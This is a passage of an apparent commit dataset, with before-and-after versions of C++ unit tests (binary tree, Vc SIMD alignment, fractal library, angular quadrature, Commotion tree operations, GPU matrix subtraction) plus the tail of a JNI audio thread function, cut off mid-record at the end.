Java_org_starlo_boxer_BoxerEngine_audioResourceThread(JNIEnv* env, jobject obj)\n{\n jclass engine = env->FindClass(\"org\/starlo\/boxer\/BoxerEngine\");\n jmethodID audioWrite = env->GetStaticMethodID(engine, \"audioWrite\", \"([S)V\");\n while(true)\n {\n if(boxer::jAudioParam != NULL)\n {\n int32_t i = 0;\n const boxer::wavStat* stat = (const boxer::wavStat*)boxer::getResource(boxer::jAudioParam->id);\n const uint8_t* data = (const uint8_t*)(boxer::getResource(boxer::jAudioParam->id) + WAV_HEADER_SIZE);\n jshortArray jData = env->NewShortArray(AUDIO_BUFFER_SIZE\/sizeof(short));\n while(i+AUDIO_BUFFER_SIZE < stat->size && boxer::jAudioParam->keepGoing)\n {\n env->SetShortArrayRegion(jData, 0, AUDIO_BUFFER_SIZE\/sizeof(short), (const short*)&data[i]);\n env->CallStaticVoidMethod(engine, audioWrite, jData);\n i+=AUDIO_BUFFER_SIZE;\n }\n env->DeleteLocalRef(jData);\n pthread_mutex_lock(&boxer::jAudioMutex);\n delete boxer::jAudioParam;\n boxer::jAudioParam = NULL;\n pthread_mutex_unlock(&boxer::jAudioMutex);\n }\n sched_yield();\n }\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"BinaryTree.hpp\"\r\n#include <fstream>\r\n#include <catch.hpp>\r\n\r\nSCENARIO(\"default constructor\") \r\n{\r\n\tTree<int> node;\r\n\tREQUIRE(node.root_() == nullptr);\r\n}\r\n\r\nSCENARIO(\"insert\")\r\n{\r\n\tTree<int> tree;\r\n\tint newEl;\r\n\ttree.fIn(\"Tree.txt\");\r\n\tstd::ifstream(\"newEl.txt\") >> newEl;\r\n\ttree.insert(newEl);\r\n\tREQUIRE(tree.right_() == 7);\r\n}\r\n\r\nSCENARIO(\"search\")\r\n{\r\n\tTree<int> tree;\r\n\tNode<int> * node;\r\n\ttree.fIn(\"Tree+newEl.txt\");\r\n\tnode = tree.search(5);\r\n\tREQUIRE(tree.x_() == 5);\r\n\tREQUIRE(tree.left_() == 3);\r\n\tREQUIRE(tree.right_() == 7);\r\n}\r\n\t\t\t\t\r\nSCENARIO(\"fIn\")\r\n{\r\n\tTree<int> tree;\r\n\ttree.fIn(\"Tree.txt\");\r\n\tREQUIRE(tree.x_() == 5);\r\n}\r\n<commit_msg>Update init.cpp<commit_after>#include \"BinaryTree.hpp\"\r\n#include <catch.hpp>\r\n\r\nSCENARIO(\"default constructor\") \r\n{\r\n\tTree<int> node;\r\n\tREQUIRE(node.root_() == nullptr);\r\n}\r\n\r\nSCENARIO(\"insert\")\r\n{\r\n\tTree<int> tree;\r\n\tint newEl;\r\n\ttree.fIn(\"Tree.txt\");\r\n\tstd::ifstream(\"newEl.txt\") >> newEl;\r\n\ttree.insert(newEl);\r\n\tREQUIRE(tree.right_() == 7);\r\n}\r\n\r\nSCENARIO(\"search\")\r\n{\r\n\tTree<int> tree;\r\n\tNode<int> * node;\r\n\ttree.fIn(\"Tree+newEl.txt\");\r\n\tnode = tree.search(5);\r\n\tREQUIRE(tree.x_() == 5);\r\n\tREQUIRE(tree.left_() == 3);\r\n\tREQUIRE(tree.right_() == 7);\r\n}\r\n\t\t\t\t\r\nSCENARIO(\"fIn\")\r\n{\r\n\tTree<int> tree;\r\n\ttree.fIn(\"Tree.txt\");\r\n\tREQUIRE(tree.x_() == 5);\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the Vc library.\n\n Copyright (C) 2009 Matthias Kretz <kretz@kde.org>\n\n Vc is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Lesser General Public License as\n published by the Free Software Foundation, either version 3 of\n the License, or (at your option) any later version.\n\n Vc is distributed in the hope that it will be useful, but\n WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with Vc. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <Vc\/Vc>\n#include \"unittest.h\"\n#include <iostream>\n\nusing namespace Vc;\n\ntemplate<typename Vec> void checkAlignment()\n{\n unsigned char i = 1;\n Vec a[10];\n unsigned long mask = VectorAlignment - 1;\n if (Vec::Size == 1 && sizeof(typename Vec::EntryType) != VectorAlignment) {\n mask = sizeof(typename Vec::EntryType) - 1;\n }\n for (i = 0; i < 10; ++i) {\n VERIFY((reinterpret_cast<unsigned long>(&a[i]) & mask) == 0);\n }\n const char *data = reinterpret_cast<const char *>(&a[0]);\n for (i = 0; i < 10; ++i) {\n VERIFY(&data[i * Vec::Size * sizeof(typename Vec::EntryType)] == reinterpret_cast<const char *>(&a[i]));\n }\n}\n\ntemplate<typename Vec> void loadArray()\n{\n typedef typename Vec::EntryType T;\n typedef typename Vec::IndexType I;\n\n const int count = 256 * 1024 \/ sizeof(T);\n T array[count];\n for (int i = 0; i < count; ++i) {\n array[i] = i;\n }\n\n const I indexesFromZero(IndexesFromZero);\n\n const Vec offsets(indexesFromZero);\n for (int i = 0; i < count; i += Vec::Size) {\n const T *const addr = &array[i];\n Vec ii(i);\n ii += offsets;\n\n Vec a(addr);\n COMPARE(a, ii);\n\n Vec b = Vec::Zero();\n b.load(addr);\n COMPARE(b, ii);\n }\n}\n\ntemplate<typename Vec> void loadArrayShort()\n{\n typedef typename Vec::EntryType T;\n\n const int count = 32 * 1024;\n T array[count];\n for (int i = 0; i < count; ++i) {\n array[i] = i;\n }\n\n const Vec &offsets = static_cast<Vec>(ushort_v::IndexesFromZero());\n for (int i = 0; i < count; i += Vec::Size) {\n const T *const addr = &array[i];\n Vec ii(i);\n ii += offsets;\n\n Vec a(addr);\n COMPARE(a, ii);\n\n Vec b = Vec::Zero();\n b.load(addr);\n COMPARE(b, ii);\n }\n}\n\nint main()\n{\n#if !VC_IMPL_LRBni && !defined(__LRB__)\n runTest(checkAlignment<int_v>);\n runTest(checkAlignment<uint_v>);\n runTest(checkAlignment<float_v>);\n runTest(checkAlignment<double_v>);\n runTest(checkAlignment<short_v>);\n runTest(checkAlignment<ushort_v>);\n runTest(checkAlignment<sfloat_v>);\n#endif\n runTest(loadArray<int_v>);\n runTest(loadArray<uint_v>);\n runTest(loadArray<float_v>);\n runTest(loadArray<double_v>);\n runTest(loadArray<sfloat_v>);\n runTest(loadArrayShort<short_v>);\n runTest(loadArrayShort<ushort_v>);\n return 0;\n}\n<commit_msg>checkAlignment needs a special case for AVX (u)short_v<commit_after>\/* This file is part of the Vc library.\n\n Copyright (C) 2009 Matthias Kretz <kretz@kde.org>\n\n Vc is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Lesser General Public License as\n published by the Free Software Foundation, either version 3 of\n the License, or (at your option) any later version.\n\n Vc is distributed in the hope that it will be useful, but\n WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with Vc. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <Vc\/Vc>\n#include \"unittest.h\"\n#include <iostream>\n\nusing namespace Vc;\n\ntemplate<typename Vec> void checkAlignment()\n{\n unsigned char i = 1;\n Vec a[10];\n unsigned long mask = VectorAlignment - 1;\n if (Vec::Size == 1 && sizeof(typename Vec::EntryType) != VectorAlignment) {\n mask = sizeof(typename Vec::EntryType) - 1;\n }\n#ifdef VC_IMPL_AVX\n if (sizeof(typename Vec::EntryType) == 2) {\n mask = sizeof(Vec) - 1;\n }\n#endif\n for (i = 0; i < 10; ++i) {\n VERIFY((reinterpret_cast<unsigned long>(&a[i]) & mask) == 0);\n }\n const char *data = reinterpret_cast<const char *>(&a[0]);\n for (i = 0; i < 10; ++i) {\n VERIFY(&data[i * Vec::Size * sizeof(typename Vec::EntryType)] == reinterpret_cast<const char *>(&a[i]));\n }\n}\n\ntemplate<typename Vec> void loadArray()\n{\n typedef typename Vec::EntryType T;\n typedef typename Vec::IndexType I;\n\n const int count = 256 * 1024 \/ sizeof(T);\n T array[count];\n for (int i = 0; i < count; ++i) {\n array[i] = i;\n }\n\n const I indexesFromZero(IndexesFromZero);\n\n const Vec offsets(indexesFromZero);\n for (int i = 0; i < count; i += Vec::Size) {\n const T *const addr = &array[i];\n Vec ii(i);\n ii += offsets;\n\n Vec a(addr);\n COMPARE(a, ii);\n\n Vec b = Vec::Zero();\n b.load(addr);\n COMPARE(b, ii);\n }\n}\n\ntemplate<typename Vec> void loadArrayShort()\n{\n typedef typename Vec::EntryType T;\n\n const int count = 32 * 1024;\n T array[count];\n for (int i = 0; i < count; ++i) {\n array[i] = i;\n }\n\n const Vec &offsets = static_cast<Vec>(ushort_v::IndexesFromZero());\n for (int i = 0; i < count; i += Vec::Size) {\n const T *const addr = &array[i];\n Vec ii(i);\n ii += offsets;\n\n Vec a(addr);\n COMPARE(a, ii);\n\n Vec b = Vec::Zero();\n b.load(addr);\n COMPARE(b, ii);\n }\n}\n\nint main()\n{\n#if !VC_IMPL_LRBni && !defined(__LRB__)\n runTest(checkAlignment<int_v>);\n runTest(checkAlignment<uint_v>);\n runTest(checkAlignment<float_v>);\n runTest(checkAlignment<double_v>);\n runTest(checkAlignment<short_v>);\n runTest(checkAlignment<ushort_v>);\n runTest(checkAlignment<sfloat_v>);\n#endif\n runTest(loadArray<int_v>);\n runTest(loadArray<uint_v>);\n runTest(loadArray<float_v>);\n runTest(loadArray<double_v>);\n runTest(loadArray<sfloat_v>);\n runTest(loadArrayShort<short_v>);\n runTest(loadArrayShort<ushort_v>);\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"pch.h\"\n\n#include \"LibFractal.h\"\n\nTEST(TestCaseName, CallExportedFunction) {\n EXPECT_EQ(1, 1);\n EXPECT_TRUE(true);\n EXPECT_EQ(2, functionToTest(1));\n}\n\nTEST(BasicTests, RunBenchMark) {\n\tEXPECT_EQ(0, runBenchmark(0, NULL));\n}<commit_msg>test tweaks<commit_after>#include \"pch.h\"\n\n#include \"LibFractal.h\"\n\nTEST(BasicTests, CallExportedFunction) {\n EXPECT_EQ(2, functionToTest(1));\n}\n\nTEST(BasicTests, RunBenchMark) {\n\tEXPECT_EQ(0, runBenchmark(0, NULL));\n}<|endoftext|>"} {"text":"<commit_before>#include \"quadrature\/angular\/angular_quadrature_scalar.h\"\n\n#include \"quadrature\/angular\/angular_quadrature_types.h\"\n#include \"test_helpers\/gmock_wrapper.h\"\n\nnamespace {\n\nusing namespace bart;\n\ntemplate <typename DimensionWrapper>\nclass AngularQuadratureScalarTests : public ::testing::Test {\n protected:\n static constexpr int dim = DimensionWrapper::value;\n \/\/ Tested object\n quadrature::angular::AngularQuadratureScalar<dim> test_scalar_quad_;\n};\n\nTYPED_TEST_CASE(AngularQuadratureScalarTests, bart::testing::AllDimensions);\n\nTYPED_TEST(AngularQuadratureScalarTests, Constructor) {\n auto& test_scalar_quad_ = this->test_scalar_quad_;\n auto dim = this->dim;\n EXPECT_EQ(test_scalar_quad_.total_quadrature_points(), 1);\n}\n\n\n} \/\/ namespace<commit_msg>added test for quadrature points to tests for AngularQuadratureScalar<commit_after>#include \"quadrature\/angular\/angular_quadrature_scalar.h\"\n\n#include <array>\n#include <vector>\n\n#include \"quadrature\/angular\/angular_quadrature_types.h\"\n#include \"test_helpers\/gmock_wrapper.h\"\n\nnamespace {\n\nusing namespace bart;\n\nusing ::testing::ContainerEq;\n\ntemplate <typename DimensionWrapper>\nclass AngularQuadratureScalarTests : public ::testing::Test {\n protected:\n static constexpr int dim = DimensionWrapper::value;\n \/\/ Tested object\n quadrature::angular::AngularQuadratureScalar<dim> test_scalar_quad_;\n};\n\nTYPED_TEST_CASE(AngularQuadratureScalarTests, bart::testing::AllDimensions);\n\nTYPED_TEST(AngularQuadratureScalarTests, Constructor) {\n auto& test_scalar_quad_ = this->test_scalar_quad_;\n constexpr int dim = this->dim;\n using QuadraturePoint = quadrature::angular::QuadraturePoint<dim>;\n using Ordinate = quadrature::angular::Ordinate<dim>;\n\n\n EXPECT_EQ(test_scalar_quad_.total_quadrature_points(), 1);\n\n Ordinate zero_ordinate;\n\n for (auto& angle_coordinate : zero_ordinate)\n angle_coordinate = 0;\n\n std::vector<QuadraturePoint> expected_quadrature_points{{1.0, zero_ordinate}};\n\n EXPECT_THAT(test_scalar_quad_.quadrature_points(),\n ContainerEq(expected_quadrature_points));\n}\n\n\n} \/\/ namespace<|endoftext|>"} {"text":"<commit_before>\/* vim: set ts=2 expandtab: *\/\n\/**\n * @file test.cpp\n * @brief \n *\n * @author Josh King (jheretic), jking@chambana.net\n *\n * @internal\n * Created 11\/17\/2013 06:01:11 PM\n * Compiler gcc\/g++\n * Organization The Open Technology Institute\n * Copyright Copyright (c) 2013, Josh King\n *\n * This file is part of Commotion, Copyright (c) 2013, Josh King \n * \n * Commotion is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published \n * by the Free Software Foundation, either version 3 of the License, \n * or (at your option) any later version.\n * \n * Commotion is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with Commotion. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * =====================================================================================\n *\/\nextern \"C\" {\n#include \"..\/src\/obj.h\"\n#include \"..\/src\/list.h\"\n#include \"..\/src\/tree.h\"\n}\n#include \"gtest\/gtest.h\"\n\n\/*\n * NOTE: Inserting keys with different length values will be interpreted as different keys (eg insert(\"test\", 5) and insert(\"test\", 6) are not the same\n * and their values will be stored in different nodes in the tree\n * \n * \n *\/\n\nclass TreeTest : public ::testing::Test\n{\n protected:\n co_obj_t *Tree16;\n co_obj_t *Tree32;\n void InsertObj();\n void DeleteObj();\n void UpdateObj();\n co_obj_t *TestString1;\n co_obj_t *TestString2;\n co_obj_t *ReplaceString1;\n \n co_obj_t *TestString3;\n \n co_obj_t *ptr;\n int ret;\n\n TreeTest()\n {\n Tree16 = co_tree16_create();\n Tree32 = co_tree32_create();\n \n TestString1 = co_str8_create(\"1TESTVALUE1\", 12, 0);\n TestString2 = co_str8_create(\"2TESTVALUE2\", 12, 0);\n \n \/\/ TestString3 = co_str8_create(\"1TESTVALUE1\", 12, 0);\n \n ReplaceString1 = co_str8_create(\"REPLACE\", 9, 0);\n }\n\n virtual void SetUp()\n {\n }\n\n ~TreeTest()\n {\n co_obj_free(Tree16); \n co_obj_free(Tree32); \n }\n};\n\nvoid TreeTest::InsertObj()\n{\n ret = co_tree_insert(Tree16, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(TestString1, ptr);\n \n ret = co_tree_insert(Tree16, \"2TESTKEY2\", 10, TestString2);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree16, \"2TESTKEY2\", 10);\n ASSERT_EQ(TestString2, ptr);\n \n \n ret = co_tree_insert_force(Tree16, \"1TESTKEY1\", 10, ReplaceString1);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(ReplaceString1, ptr);\n \n \n \/\/ reinitialize TestString1 since it was freed by co_tree_insert_force()\n TestString1 = co_str8_create(\"1TESTVALUE1\", 12, 0);\n \n \/\/ repeat for Tree 32\n ret = co_tree_insert(Tree32, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(TestString1, ptr);\n \n ret = co_tree_insert(Tree32, \"2TESTKEY2\", 10, TestString2);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree32, \"2TESTKEY2\", 10);\n ASSERT_EQ(TestString2, ptr);\n \n \n ret = co_tree_insert_force(Tree32, \"1TESTKEY1\", 10, ReplaceString1);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(ReplaceString1, ptr);\n \n}\n\nvoid TreeTest::DeleteObj()\n{\n \n ret = co_tree_insert(Tree16, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ret = co_tree_insert(Tree16, \"2TESTKEY2\", 10, TestString2);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_delete(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(TestString1, ptr);\n \n ptr = co_tree_delete(Tree16, \"2TESTKEY2\", 10);\n ASSERT_EQ(TestString2, ptr);\n \n \/\/ confirm deletions\n ptr = co_tree_find(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(NULL, ptr);\n \n ptr = co_tree_find(Tree16, \"2TESTKEY2\", 10);\n ASSERT_EQ(NULL, ptr);\n\n \n \/\/ repeat for Tree32\n ret = co_tree_insert(Tree32, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ret = co_tree_insert(Tree32, \"2TESTKEY2\", 10, TestString2);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_delete(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(TestString1, ptr);\n \n ptr = co_tree_delete(Tree32, \"2TESTKEY2\", 10);\n ASSERT_EQ(TestString2, ptr);\n \n \/\/ confirm deletions\n ptr = co_tree_find(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(NULL, ptr);\n \n ptr = co_tree_find(Tree32, \"2TESTKEY2\", 10);\n ASSERT_EQ(NULL, ptr);\n}\n\nvoid TreeTest::UpdateObj()\n{ \n ret = co_tree_insert(Tree16, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ret = co_tree_set_str(Tree16, \"1TESTKEY1\", 10, \"REPLACE\", 9);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(0, co_str_cmp(ptr, ReplaceString1));\n \n \/*\n \/\/ repeat for Tree32\n ret = co_tree_insert(Tree32, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ret = co_tree_set_str(Tree32, \"1TESTKEY1\", 10, \"REPLACE\", 9);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(0, co_str_cmp(ptr, ReplaceString1));\n *\/\n}\n\nTEST_F(TreeTest, TreeInsertTest)\n{\n InsertObj();\n} \n\n\nTEST_F(TreeTest, TreeDeleteTest)\n{\n DeleteObj();\n} \n\nTEST_F(TreeTest, TreeUpdateTest)\n{\n UpdateObj();\n} \n<commit_msg>did stuff<commit_after>\/* vim: set ts=2 expandtab: *\/\n\/**\n * @file test.cpp\n * @brief \n *\n * @author Josh King (jheretic), jking@chambana.net\n *\n * @internal\n * Created 11\/17\/2013 06:01:11 PM\n * Compiler gcc\/g++\n * Organization The Open Technology Institute\n * Copyright Copyright (c) 2013, Josh King\n *\n * This file is part of Commotion, Copyright (c) 2013, Josh King \n * \n * Commotion is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published \n * by the Free Software Foundation, either version 3 of the License, \n * or (at your option) any later version.\n * \n * Commotion is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with Commotion. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * =====================================================================================\n *\/\nextern \"C\" {\n#include \"..\/src\/obj.h\"\n#include \"..\/src\/list.h\"\n#include \"..\/src\/tree.h\"\n}\n#include \"gtest\/gtest.h\"\n\n\/*\n * NOTE: Inserting keys with different length values will be interpreted as different keys (eg insert(\"test\", 5) and insert(\"test\", 6) are not the same\n * and their values will be stored in different nodes in the tree\n * \n * \n *\/\n\nclass TreeTest : public ::testing::Test\n{\n protected:\n co_obj_t *Tree16;\n co_obj_t *Tree32;\n void InsertObj();\n void DeleteObj();\n void UpdateObj();\n co_obj_t *TestString1;\n co_obj_t *TestString2;\n co_obj_t *ReplaceString1;\n \n co_obj_t *TestString3;\n \n co_obj_t *ptr;\n int ret;\n\n TreeTest()\n {\n Tree16 = co_tree16_create();\n Tree32 = co_tree32_create();\n \n TestString1 = co_str8_create(\"1TESTVALUE1\", 12, 0);\n TestString2 = co_str8_create(\"2TESTVALUE2\", 12, 0);\n \n ReplaceString1 = co_str8_create(\"REPLACE\", 9, 0);\n }\n\n virtual void SetUp()\n {\n }\n\n ~TreeTest()\n {\n co_obj_free(Tree16); \n co_obj_free(Tree32); \n }\n};\n\nvoid TreeTest::InsertObj()\n{\n ret = co_tree_insert(Tree16, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(TestString1, ptr);\n \n ret = co_tree_insert(Tree16, \"2TESTKEY2\", 10, TestString2);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree16, \"2TESTKEY2\", 10);\n ASSERT_EQ(TestString2, ptr);\n \n \n ret = co_tree_insert_force(Tree16, \"1TESTKEY1\", 10, ReplaceString1);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(ReplaceString1, ptr);\n \n \n \/\/ reinitialize TestString1 since it was freed by co_tree_insert_force()\n TestString1 = co_str8_create(\"1TESTVALUE1\", 12, 0);\n \n \/\/ repeat for Tree 32\n ret = co_tree_insert(Tree32, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(TestString1, ptr);\n \n ret = co_tree_insert(Tree32, \"2TESTKEY2\", 10, TestString2);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree32, \"2TESTKEY2\", 10);\n ASSERT_EQ(TestString2, ptr);\n \n \n ret = co_tree_insert_force(Tree32, \"1TESTKEY1\", 10, ReplaceString1);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(ReplaceString1, ptr);\n \n}\n\nvoid TreeTest::DeleteObj()\n{\n \n ret = co_tree_insert(Tree16, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ret = co_tree_insert(Tree16, \"2TESTKEY2\", 10, TestString2);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_delete(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(TestString1, ptr);\n \n ptr = co_tree_delete(Tree16, \"2TESTKEY2\", 10);\n ASSERT_EQ(TestString2, ptr);\n \n \/\/ confirm deletions\n ptr = co_tree_find(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(NULL, ptr);\n \n ptr = co_tree_find(Tree16, \"2TESTKEY2\", 10);\n ASSERT_EQ(NULL, ptr);\n\n \/\/ reinitialize\n TestString1 = co_str8_create(\"1TESTVALUE1\", 12, 0);\n TestString2 = co_str8_create(\"2TESTVALUE2\", 12, 0);\n \n \/\/ repeat for Tree32\n ret = co_tree_insert(Tree32, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ret = co_tree_insert(Tree32, \"2TESTKEY2\", 10, TestString2);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_delete(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(TestString1, ptr);\n \n ptr = co_tree_delete(Tree32, \"2TESTKEY2\", 10);\n ASSERT_EQ(TestString2, ptr);\n \n \/\/ confirm deletions\n ptr = co_tree_find(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(NULL, ptr);\n \n ptr = co_tree_find(Tree32, \"2TESTKEY2\", 10);\n ASSERT_EQ(NULL, ptr);\n}\n\nvoid TreeTest::UpdateObj()\n{ \n ret = co_tree_insert(Tree16, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n ret = co_tree_set_str(Tree16, \"1TESTKEY1\", 10, \"REPLACE\", 9);\n ASSERT_EQ(1, ret);\n \n ptr = co_tree_find(Tree16, \"1TESTKEY1\", 10);\n ASSERT_EQ(0, co_str_cmp(ptr, ReplaceString1));\n \n \n \/\/ repeat for Tree32\n ret = co_tree_insert(Tree32, \"1TESTKEY1\", 10, TestString1);\n ASSERT_EQ(1, ret);\n \n \n ret = co_tree_set_str(Tree32, \"1TESTKEY1\", 10, \"REPLACE\", 9);\n ASSERT_EQ(1, ret);\n \n \n ptr = co_tree_find(Tree32, \"1TESTKEY1\", 10);\n ASSERT_EQ(0, co_str_cmp(ptr, ReplaceString1));\n \n}\n\nTEST_F(TreeTest, TreeInsertTest)\n{\n InsertObj();\n} \n\nTEST_F(TreeTest, TreeDeleteTest)\n{\n DeleteObj();\n} \n\n\/*\nTEST_F(TreeTest, TreeUpdateTest)\n{\n UpdateObj();\n} \n*\/<|endoftext|>"} {"text":"<commit_before>\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2016 Northeastern University\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#include \"include\/gpu_operations.h\"\n#include \"Eigen\/Dense\"\n#include \"gtest\/gtest.h\"\n\ntemplate<class T>\nclass GpuMatrixMatrixSubTest : public ::testing::Test {\n public:\n Nice::Matrix<T> a;\n Nice::Matrix<T> b;\n Nice::Matrix<T> result;\n Nice::Matrix<T> correct;\n\n void Subtract() {\n result = Nice::GpuOperations<T>::Subtract(a, b);\n }\n};\n\ntypedef ::testing::Types<float, double> dataTypes;\nTYPED_TEST_CASE(GpuMatrixMatrixSubTest, dataTypes);\n\nTYPED_TEST(GpuMatrixMatrixSubTest, SubtractFunctionality) {\n this->a.setRandom(3, 3);\n this->b.setRandom(3, 3);\n\n this->correct.setZero(3, 3);\n for (int i = 0; i < 3; ++i) {\n for (int j = 0; j < 3; ++j) {\n correct(i, j) = a(i, j) - b(i, j);\n }\n }\n\n this->Subtract();\n\n ASSERT_NEAR(this->result, this->correct, 0.0001);\n}\n\nTYPED_TEST(GpuMatrixMatrixSubTest, DifferentSizeMatricies) {\n this->a.setRandom(2, 3);\n this->b.setRandom(3, 4);\n ASSERT_DEATH(this->Subtract(), \".*\");\n}\n\nTYPED_TEST(GpuMatrixMatrixSubTest, EmptyMatrix) {\n ASSERT_DEATH(this->Subtract(), \".*\");\n}\n<commit_msg>Fixed this-> in test and ASSERT_NEAR in for loop<commit_after>\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2016 Northeastern University\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#include \"include\/gpu_operations.h\"\n#include \"Eigen\/Dense\"\n#include \"gtest\/gtest.h\"\n\ntemplate<class T>\nclass GpuMatrixMatrixSubTest : public ::testing::Test {\n public:\n Nice::Matrix<T> a;\n Nice::Matrix<T> b;\n Nice::Matrix<T> result;\n Nice::Matrix<T> correct;\n\n void Subtract() {\n result = Nice::GpuOperations<T>::Subtract(a, b);\n }\n};\n\ntypedef ::testing::Types<float, double> dataTypes;\nTYPED_TEST_CASE(GpuMatrixMatrixSubTest, 